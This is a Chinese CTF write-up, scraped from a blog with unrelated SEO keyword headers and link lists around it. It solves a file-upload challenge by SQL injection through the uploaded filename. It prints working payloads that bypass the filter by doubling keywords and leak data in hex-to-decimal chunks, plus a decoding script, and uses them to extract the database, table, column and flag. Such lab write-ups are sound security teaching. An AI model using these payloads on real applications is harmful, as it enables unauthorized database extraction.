当前位置: 首页 > news >正文

湛江网站建设产品优化怎么知道网站是php

湛江网站建设产品优化,怎么知道网站是php,重庆装修公司避坑指南,电子商务系统的组成1. 题目描述 打开链接#xff0c;是这样的一个注册界面 先试着注册一个账号看看#xff0c;这里简单操作#xff0c;注册test/test#xff0c;注册完后进行登录 登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。 2. 思路分析 既然存在上传…1. 题目描述 打开链接是这样的一个注册界面 先试着注册一个账号看看这里简单操作注册test/test注册完后进行登录 登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。 2. 思路分析 既然存在上传那么大概率上传点存在漏洞我们先试试随便上传一个php文件 这里提示很明显了说明存在WAF对我们的文件拓展名进行了限制 试着修改下文件后缀这里修改为jpg格式的提示我们上传成功 既然上传成功了试着用蚁剑连接下发现失败不过也正常我们不知道文件的存储路径而且上传的不是php。 除了文件上传外是否还有其它的思路呢我们注意到我们输入的文件名进行了回显这里就可能存在sql注入我们简单试下 注意到我们传入select关键字时回显值中已经没有select了说明被过滤掉了为什么要过滤select呢说明这里大概率存在sql注入。 好了经过简单的验证虽然说这道题名字取的是文件上传但是实际上是文件名sql注入。 3. 解题过程 从上面的截图来看实际上这道题是存在WAF的因为过滤了select那么我们首先要考虑的是如何绕过WAF 3.1 绕过WAF的限制 既然存在sql注入那么selectfrom等关键字必须存在绕过方法试了下大小写无法绕过但是双写可以 试着查看下数据库 发现回显是0说明这里大概率对回显进行了限制而且限制了必须为数字因此我们需要对sql查询语句进行调整使得查出来的都是数字这里做法是先转成16进制再转化为10进制 但是回显后发现变成科学计数法了因此我们每次只能取一部分字符这里验证了一下每次最多只能取12个字符如果取13个取出来的值就会变成科学计数法表示。 此时的文件名为a (selecselectt conv(substr(hex(database()), 1, 12), 16, 10)) .jpg 然后再将这个十进制转化为字符串这里使用如下脚本即可 import sysnum int(sys.argv[1]) # 10进制 - 16进制 hex_num hex(num)[2:]# 16进制 - 字符串 bytes_databytes.fromhex(hex_num) str.join(chr(byte) for byte in bytes_data) print(str)执行该脚本转为的字符串为web_up 这个看上去不全因此按照上述的步骤获取数据库名的后面的字符这里注意文件数小于10个如果超过10个那么需要注销并重新登录 继续将文件名设置为a (selecselectt conv(substr(hex(database()), 13, 12), 16, 10)) .jpg 所以最终拼接起来得到的数据库名为web_upload 3.2 重复上述步骤进一步获取数据库中的其它字段表名列名具体的值 获取表名的payload如下 a (selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schemaweb_upload limit 1, 1)), 1, 12), 16, 10)) .jpg a (selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schemaweb_upload limit 1, 1)), 13, 12), 16, 10)) .jpg a (selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schemaweb_upload limit 1, 1)), 25, 12), 16, 10)) .jpg 得到结果 转换为字符串为hello_flag_is_here 获取表中字段名的payload如下 a (selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_namehello_flag_is_here limit 0, 1)), 1, 12), 16, 10)) .jpg a (selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_namehello_flag_is_here limit 0, 1)), 13, 12), 16, 10)) .jpg 得到结果 转换为字符串i_am_flag 最后查询表中字段值的payload如下 a (selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 1, 12), 16, 10)) .jpg a (selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 13, 12), 16, 10)) .jpg a (selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 25, 12), 16, 10)) .jpg 得到结果 同样转换成字符串得到flag为!!_m_Th.e_F!lag 4. 总结 整体来看这道题属于一道综合性比较强的题目虽然是文件上传但是实际的攻击点在于sql注入这里是有一点迷惑性的。然后就是针对sql注入题目中也涉及到了各种sql绕过手段以及进制转化相关的知识点因此这里还是有一定难度的不过最终做出来的话也可以积累很多知识收获很大。
http://www.pierceye.com/news/513655/

相关文章:

  • 电商网站设计的原则免费下载app软件下载大全
  • 餐饮网站建设优化建站wordpress copyright
  • 腾讯建站官网设计网页步骤
  • 网站建设三方合同范本wordpress数字链接出现404
  • 下载用的网站怎么做网站模板怎么使用教程
  • 没有网站 可以做百度口碑吗展馆的科普网站建设
  • 河北网站备案查询系统商城网站seo
  • 网站申请页面网站空间不够用怎么办
  • 网站开发最合适的搭配螺栓球网架
  • 广东网站建设排名凡科建站下载
  • 建设厅网站预算员报名时间网站建设策划书的编制
  • 厦门手机网站建设公司哪家好鲜花网站源码
  • 北京家居网站建设如何制作软件手机软件
  • 北京网站建设策划解决方案长沙建设工程造价网站
  • 北京网站设计公司价格阿里云wordpress插件
  • 网站建设自助建站企业萧山人才网手机版
  • 长沙建站挺找有为太极wordpress 需要zend
  • 通信管理局 网站备案天猫网站设计教程
  • 营销型网站制作成都打造品牌的三点策略
  • 做查工资的网站如何下载网页在线视频
  • 北沙滩网站建设公司主页怎么填
  • 手机asp网站网站设计方案
  • 长春市网站开发广东一站式网站建设推荐
  • 企业网站推广策略商会联盟网站建设方案
  • 清丰网站建设百度推广建设网站是不是合发
  • 邢台12345网站哪个公司的装饰设计公司
  • 嘉兴网嘉兴网站建设手机网站管理软件
  • 网站主色调简介怎么说本地常州微信网站建设
  • 电子商务网站数据库建设怎样推广一个网站
  • illustrator 学习网站wordpress外链产品